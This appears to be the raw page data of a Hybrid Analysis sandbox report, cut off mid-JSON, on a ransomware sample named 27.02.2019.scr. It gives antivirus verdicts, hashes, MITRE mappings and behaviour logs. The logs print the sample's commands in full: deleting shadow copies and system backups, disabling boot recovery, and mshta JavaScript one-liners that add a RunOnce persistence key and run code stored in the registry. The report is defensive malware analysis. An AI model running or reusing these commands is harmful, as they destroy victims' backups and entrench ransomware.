26:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 30:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 25:T49d,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Ransom.Agent Sample 8f20197da8f4… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 8f20197da8f4…. Malware family: Trojan.Ransom.Agent. Threat score 100/100. 21/27 AV engines flagged this file. 9 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/8f20197da8f44485dbec10674cc2df0a48422d4c2c1308d17aa065a5c1ce445e","keywords":["Malicious","Trojan.Ransom.Agent","malware analysis","sandbox report","threat intelligence","8f20197da8f44485dbec10674cc2df0a48422d4c2c1308d17aa065a5c1ce445e"],"about":{"@type":"SoftwareApplication","name":"27.02.2019.scr","applicationCategory":["peexe","executable"],"identifier":"8f20197da8f44485dbec10674cc2df0a48422d4c2c1308d17aa065a5c1ce445e","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Ransom.Agent","antivirusDetections":{"malicious":21,"total":27},"behavioralIndicators":{"malicious":9,"suspicious":21},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T929,".exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") ".exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") ".exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}") ".exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") ".exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}") ".exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\SHELLFOLDER") ".exe" touched "Shell File System Folder" (Path: "HKCU\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "mshta.exe" touched "HTML Document" (Path: "HKCU\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\INPROCSERVER32") "mshta.exe" touched "Microsoft HTML Javascript Pluggable Protocol" (Path: "HKCU\CLSID\{3050F3B2-98B5-11CF-BB82-00AA00BDCE0B}") "mshta.exe" touched "Microsoft HTA Document 6.0" (Path: "HKCU\CLSID\{3050F5C8-98B5-11CF-BB82-00AA00BDCE0B}") "mshta.exe" touched "Microsoft HTML About Pluggable Protocol" (Path: "HKCR\SOFTWARE\CLASSES\CLSID\{3050F406-98B5-11CF-BB82-00AA00BDCE0B}") "mshta.exe" touched "CActiveIMMAppEx_Trident" (Path: "HKCU\CLSID\{50D5107A-D278-4871-8989-F4CEAAF59CFC}\TREATAS") "mshta.exe" touched "PSOAInterface" (Path: "HKCU\CLSID\{00020424-0000-0000-C000-000000000046}\TREATAS") "mshta.exe" touched "JScript Language" (Path: "HKCU\CLSID\{16D51579-A30B-4C8B-A276-0FF4DC41E755}\TREATAS") "mshta.exe" touched "FileSystem Object" (Path: "HKCU\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\TREATAS") "mshta.exe" touched "Windows Script Host Shell Object" (Path: "HKCU\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\TREATAS") "mshta.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "mshta.exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "mshta.exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "mshta.exe" touched "UsersLibraries" (Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER")28:T7bc,Spawned process "cmd.exe" with commandline "/c copy /y "C:\27.02.2019.scr.exe" "%APPDATA%\osk.exe"" (UID: 00012125-00002700) Spawned process ".exe" with commandline "runas" (UID: 00012148-00002304) Spawned process "cmd.exe" with commandline "/c copy /y "C:\27.02.2019.scr.exe" "%APPDATA%\osk.exe"" (UID: 00012520-00002100) Spawned process "osk.exe" (UID: 00012770-00001660) Spawned process "mshta.exe" with commandline ""javascript:o=new ActiveXObject('Scripting.FileSystemObject');se ..." (UID: 00012772-00001656), Spawned process "mshta.exe" with commandline ""javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXOb ..." (UID: 00012994-00004520) Spawned process "mshta.exe" with commandline ""javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKC ..." (UID: 00013002-00003772) Spawned process "cmd.exe" with commandline "/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" (UID: 00013083-00002320) Spawned process "cmd.exe" with commandline "/c wmic SHADOWCOPY DELETE" (UID: 00013089-00003072) Spawned process "cmd.exe" with commandline "/c vssadmin Delete Shadows /All /Quiet" (UID: 00013098-00003104) Spawned process "wbadmin.exe" with commandline "wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" (UID: 00013101-00003032) Spawned process "cmd.exe" with commandline "/c bcdedit /set {default} recoveryenabled No" (UID: 00013109-00002888) Spawned process "WMIC.exe" with commandline "wmic SHADOWCOPY DELETE" (UID: 00013114-00003952) Spawned process "vssadmin.exe" with commandline "vssadmin Delete Shadows /All /Quiet" (UID: 00013116-00001816) Spawned process "cmd.exe" with commandline "/c bcdedit /set {default} bootstatuspolicy ignoreallfailures" (UID: 00013121-00003376) Spawned process "bcdedit.exe" with commandline "bcdedit /set {default} recoveryenabled No" (UID: 00013133-00000352) Spawned process "bcdedit.exe" with commandline "bcdedit /set {default} bootstatuspolicy ignoreallfailures" (UID: 00013135-00003044)29:T7bc,Spawned process "cmd.exe" with commandline "/c copy /y "C:\27.02.2019.scr.exe" "%APPDATA%\osk.exe"" (UID: 00012125-00002700) Spawned process ".exe" with commandline "runas" (UID: 00012148-00002304) Spawned process "cmd.exe" with commandline "/c copy /y "C:\27.02.2019.scr.exe" "%APPDATA%\osk.exe"" (UID: 00012520-00002100) Spawned process "osk.exe" (UID: 00012770-00001660) Spawned process "mshta.exe" with commandline ""javascript:o=new ActiveXObject('Scripting.FileSystemObject');se ..." (UID: 00012772-00001656), Spawned process "mshta.exe" with commandline ""javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXOb ..." (UID: 00012994-00004520) Spawned process "mshta.exe" with commandline ""javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKC ..." (UID: 00013002-00003772) Spawned process "cmd.exe" with commandline "/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" (UID: 00013083-00002320) Spawned process "cmd.exe" with commandline "/c wmic SHADOWCOPY DELETE" (UID: 00013089-00003072) Spawned process "cmd.exe" with commandline "/c vssadmin Delete Shadows /All /Quiet" (UID: 00013098-00003104) Spawned process "wbadmin.exe" with commandline "wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" (UID: 00013101-00003032) Spawned process "cmd.exe" with commandline "/c bcdedit /set {default} recoveryenabled No" (UID: 00013109-00002888) Spawned process "WMIC.exe" with commandline "wmic SHADOWCOPY DELETE" (UID: 00013114-00003952) Spawned process "vssadmin.exe" with commandline "vssadmin Delete Shadows /All /Quiet" (UID: 00013116-00001816) Spawned process "cmd.exe" with commandline "/c bcdedit /set {default} bootstatuspolicy ignoreallfailures" (UID: 00013121-00003376) Spawned process "bcdedit.exe" with commandline "bcdedit /set {default} recoveryenabled No" (UID: 00013133-00000352) Spawned process "bcdedit.exe" with commandline "bcdedit /set {default} bootstatuspolicy ignoreallfailures" (UID: 00013135-00003044)2a:T416,".exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" ".exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" ".exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\cversions.1.db" ".exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001b.db" ".exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" ".exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\cversions.1.db" ".exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001b.db" ".exe" touched file "C:\Windows\AppPatch\sysmain.sdb" ".exe" touched file "C:\Windows\System32\mshta.exe" ".exe" touched file "C:\Windows\System32\en-US\mshta.exe.mui" ".exe" touched file "C:\Windows\system32\en\mshta.exe.mui"2b:T814,".exe" opened "C:\Users\%OSUSER%\AppData\Roaming\osk.exe" with delete access "osk.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\osk.exe" with delete access "osk.exe" opened "C:\Program Files\Adobe\Acrobat Reader DC\" with delete access "osk.exe" opened "C:\Program Files\Adobe\Acrobat Reader DC\ReadMe.htm" with delete access "osk.exe" opened "C:\Program Files\Adobe\Acrobat Reader DC\Reader\" with delete access "osk.exe" opened "C:\Program Files\Adobe\Acrobat Reader DC\Reader\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf" with delete access "osk.exe" opened "C:\Program Files\Adobe\Acrobat Reader DC\Reader\Click on 'Change' to select default PDF handler.pdf" with delete access "osk.exe" opened "C:\Program Files\Adobe\Acrobat Reader DC\Reader\PDFSigQFormalRep.pdf" with delete access "osk.exe" opened "C:\Program Files\Adobe\Acrobat Reader DC\Reader\pmd.cer" with delete access "osk.exe" opened "C:\Program Files\Adobe\Acrobat Reader DC\Reader\RTC.der" with delete access "osk.exe" opened "C:\Program Files\Adobe\Acrobat Reader DC\Reader\Welcome.pdf" with delete access "osk.exe" opened "C:\Program Files\Adobe\Acrobat Reader DC\Reader\ .TXT" with delete access "osk.exe" opened "C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroCEF\" with delete access "osk.exe" opened "C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroCEF\COPYING.LGPLv2.1.txt" with delete access "osk.exe" opened "C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroCEF\LICENSE.txt" with delete access "osk.exe" opened "C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroCEF\locales\" with delete access "osk.exe" opened "C:\Program Files\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\" with delete access "osk.exe" opened "C:\Program Files\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\manifest.json" with delete access "osk.exe" opened "C:\Program Files\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\" with delete access "osk.exe" opened "C:\Program Files\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\AdobeID.pdf" with delete access2c:T406,".exe" wrote bytes "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" to virtual address "0x0044C800" (part of module "27.02.2019.SCR.EXE") "osk.exe" wrote bytes "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" to virtual address "0x0044C800" (part of module "OSK.EXE") "mshta.exe" wrote bytes "75dc3976273e397651c13776ee9c3776949837760fb33d7610993776909737760000000042c68e75152e8e75c0d98e751bf78e75c1089075a0c48e7536da8e7530c68e75d5d98e7586c48e7500000000" to virtual address "0x7015E000" (part of module "MSLS31.DLL") "WMIC.exe" wrote bytes "c04e227720542377e0652377b53824770000000000d08e7500000000c5ea8e750000000088ea8e7500000000e968297582282477ee29247700000000d2692975000000007dbb8e750000000009be297500000000ba188e7500000000" to virtual address "0x77341000" (part of module "NSI.DLL")2d:Ta2d,".exe" wrote 32 bytes to a remote process "C:\27.02.2019.scr.exe" (Handle: 508) ".exe" wrote 52 bytes to a remote process "C:\27.02.2019.scr.exe" (Handle: 508) ".exe" wrote 4 bytes to a remote process "C:\27.02.2019.scr.exe" (Handle: 508) ".exe" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\osk.exe" (Handle: 640) ".exe" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\osk.exe" (Handle: 640) ".exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\osk.exe" (Handle: 640) ".exe" wrote 32 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 484) ".exe" wrote 52 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 484) ".exe" wrote 4 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 484) "osk.exe" wrote 32 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 368) "osk.exe" wrote 52 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 368) "osk.exe" wrote 4 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 368) "osk.exe" wrote 32 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 392) "osk.exe" wrote 52 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 392) "osk.exe" wrote 4 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 392) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\System32\wbadmin.exe" (Handle: 80) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\System32\wbadmin.exe" (Handle: 80) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\System32\wbadmin.exe" (Handle: 80) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\System32\wbem\WMIC.exe" (Handle: 80) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\System32\wbem\WMIC.exe" (Handle: 80) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\System32\wbem\WMIC.exe" (Handle: 80) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\System32\vssadmin.exe" (Handle: 80) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\System32\vssadmin.exe" (Handle: 80) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\System32\vssadmin.exe" (Handle: 80) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\System32\bcdedit.exe" (Handle: 80) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\System32\bcdedit.exe" (Handle: 80) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\System32\bcdedit.exe" (Handle: 80)2e:T92f,Spawned process ".exe" (UID: 00011887-00002616) Spawned process "cmd.exe" with commandline "/c copy /y "C:\27.02.2019.scr.exe" "%APPDATA%\osk.exe"" (UID: 00012125-00002700) Spawned process ".exe" with commandline "runas" (UID: 00012148-00002304) Spawned process "cmd.exe" with commandline "/c copy /y "C:\27.02.2019.scr.exe" "%APPDATA%\osk.exe"" (UID: 00012520-00002100) Spawned process "osk.exe" (UID: 00012770-00001660) Spawned process "mshta.exe" with commandline ""javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('27.02.2019.scr.exe');close()}catch(e){}} 10);"" (UID: 00012772-00001656) Spawned process "mshta.exe" with commandline ""javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\HtPTpznMYPK',i);}catch(e){}} 10);"" (UID: 00012994-00004520) Spawned process "mshta.exe" with commandline ""javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\NWLMW\\UMEAA'));close();"" (UID: 00013002-00003772) Spawned process "cmd.exe" with commandline "/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" (UID: 00013083-00002320) Spawned process "cmd.exe" with commandline "/c wmic SHADOWCOPY DELETE" (UID: 00013089-00003072) Spawned process "cmd.exe" with commandline "/c vssadmin Delete Shadows /All /Quiet" (UID: 00013098-00003104) Spawned process "wbadmin.exe" with commandline "wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" (UID: 00013101-00003032) Spawned process "cmd.exe" with commandline "/c bcdedit /set {default} recoveryenabled No" (UID: 00013109-00002888) Spawned process "WMIC.exe" with commandline "wmic SHADOWCOPY DELETE" (UID: 00013114-00003952) Spawned process "vssadmin.exe" with commandline "vssadmin Delete Shadows /All /Quiet" (UID: 00013116-00001816) Spawned process "cmd.exe" with commandline "/c bcdedit /set {default} bootstatuspolicy ignoreallfailures" (UID: 00013121-00003376) Spawned process "bcdedit.exe" with commandline "bcdedit /set {default} recoveryenabled No" (UID: 00013133-00000352) Spawned process "bcdedit.exe" with commandline "bcdedit /set {default} bootstatuspolicy ignoreallfailures" (UID: 00013135-00003044)2f:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8A///////////////////////wAAAAAAAAAAAAAAAAAP//8P///////////////wD///////////////iIiIgA////////////////iIiIAP////////////////iIiAD/////iZeP////////iIgA/////5n5mP////////iIAP////93eImP////////iAD//////5h3mP////+Hj/gA////////h4l4j//5mZj4AP/////////5eYmReZmY+AD/////////+Jj/+Jl4//gA//////////+R//ef////AP//////////+Y/5n////wD///////////kfiY////8A////////////mJn/////AP///////////5GR/////wD///////////+JmP////8A////////////+Z//////AP////////////mf/////wD////////////5mP////8A////////////+Zf/////AP////////////mZ/////3D////////////5mf////9w////////////+Zn/////cP////////////+P/////3D///////////////////9w////////////////////cP//+P///////////////wD///cAAAAAAAAAAAAAAAcA///////////////////////gAAAD4AAAA+AAAAPgAAAD4AAAA+AAAAPgAAAD4AAAA+AAAAPgAAAD4AAAA+AAAAPgAAAD4AAAA+AAAAPgAAAD4AAAA+AAAAPgAAAD4AAAA+AAAAPgAAAD4AAAA+AAAAPgAAAD4AAAA+AAAAPgAAAD4AAAA+AAAAPgAAAD/////w==1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"8f20197da8f44485dbec10674cc2df0a48422d4c2c1308d17aa065a5c1ce445e","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790879622678,"unified_at":"2026-10-01T18:33:42.678Z","metadata":{"hashes":{"sha256":"8f20197da8f44485dbec10674cc2df0a48422d4c2c1308d17aa065a5c1ce445e","sha1":"7c1c92c56385a8d044fb241f433c97dbe2b53483","md5":"65fb5232fcb9c3236f26a89774d767b1","sha512":"758cc21d136689156951e787bdf21255ffe437f06ba931f08811f12a46451ab3149a44e5413e55086af90a13716eeb51177354abb259189a6cb9300586f19542","ssdeep":"6144:ueT2o/pw70hPC14fpdspCMpja/0h0MpJipZHkg:uOWQhPC14jqG0h0oMZl","ssdeep_chunks":["6144:ueT2o/p","6144:eT2o/pw","6144:T2o/pw7","6144:2o/pw70","6144:o/pw70h","6144:/pw70hP","6144:pw70hPC","6144:w70hPC1","6144:70hPC14","6144:0hPC14f","6144:hPC14fp","6144:PC14fpd","6144:C14fpds","6144:14fpdsp","6144:4fpdspC","6144:fpdspCM","6144:pdspCMp","6144:dspCMpj","6144:spCMpja","6144:pCMpja/","6144:CMpja/0","6144:Mpja/0h","6144:pja/0h0","6144:ja/0h0M","6144:a/0h0Mp","6144:/0h0MpJ","6144:0h0MpJi","6144:h0MpJip","6144:0MpJipZ","6144:MpJipZH","6144:pJipZHk","6144:JipZHkg","12288:ueT2o/p","12288:eT2o/pw","12288:T2o/pw7","12288:2o/pw70","12288:o/pw70h","12288:/pw70hP","12288:pw70hPC","12288:w70hPC1","12288:70hPC14","12288:0hPC14f","12288:hPC14fp","12288:PC14fpd","12288:C14fpds","12288:14fpdsp","12288:4fpdspC","12288:fpdspCM","12288:pdspCMp","12288:dspCMpj","12288:spCMpja","12288:pCMpja/","12288:CMpja/0","12288:Mpja/0h","12288:pja/0h0","12288:ja/0h0M","12288:a/0h0Mp","12288:/0h0MpJ","12288:0h0MpJi","12288:h0MpJip","12288:0MpJipZ","12288:MpJipZH","12288:pJipZHk","12288:JipZHkg","6144:uOWQhPC","6144:OWQhPC1","6144:WQhPC14","6144:QhPC14j","6144:hPC14jq","6144:PC14jqG","6144:C14jqG0","6144:14jqG0h","6144:4jqG0h0","6144:jqG0h0o","6144:qG0h0oM","6144:G0h0oMZ","6144:0h0oMZl"],"imphash":"34f4342da565296cc02f37f0c536720f"},"file_info":{"file_name":"27.02.2019.scr","file_type":["peexe","executable"],"file_type_id":"exe","file_size":669184,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1551265940000,"last_seen":1689271858000,"last_multi_scan":1689271858000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["ransomware"]},"stats":{"av":{"malicious_count":21,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":15},"sandbox_signatures":{"informative_count":15,"suspicious_count":21,"malicious_count":9,"total":45},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Malware/Win32.Ransom","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Msht","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/AD.ZardRansom.grojy","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.Ransom.Agent.BG","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.Ransom.Agent.BG (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/Kryptik.GQFR trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Riskware ( 0040eff71 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Msht.ya","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"GenericRXHA-MO!65FB5232FCB9","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Kryptik.fnocje","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"malicious","threat_name":"Confidence_97","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"malicious","threat_name":"Ransom/W32.Agent.669184","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"Ransom.BFFAC045","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"Ransom.BFFAC045","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/FakeAlert.DX.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Inject.BID","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"BScope.Trojan.Fuerboos","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Kryptik.Win32.1761336","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Ransom.Agent","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"suspicious","value":"Reads system information using Windows Management Instrumentation Commandline (WMIC)"}],"sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"tactic":"Persistence","technique":"Kernel Modules and Extensions","attack_id":"T1215","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1215","identifiers":[{"type":"suspicious","value":"Contains ability to enumerate processes/modules/threads"},{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"tactic":"Persistence","technique":"Hooking","attack_id":"T1179","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1179","identifiers":[{"type":"suspicious","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Start Folder","attack_id":"T1060","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1060","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"tactic":"Privilege 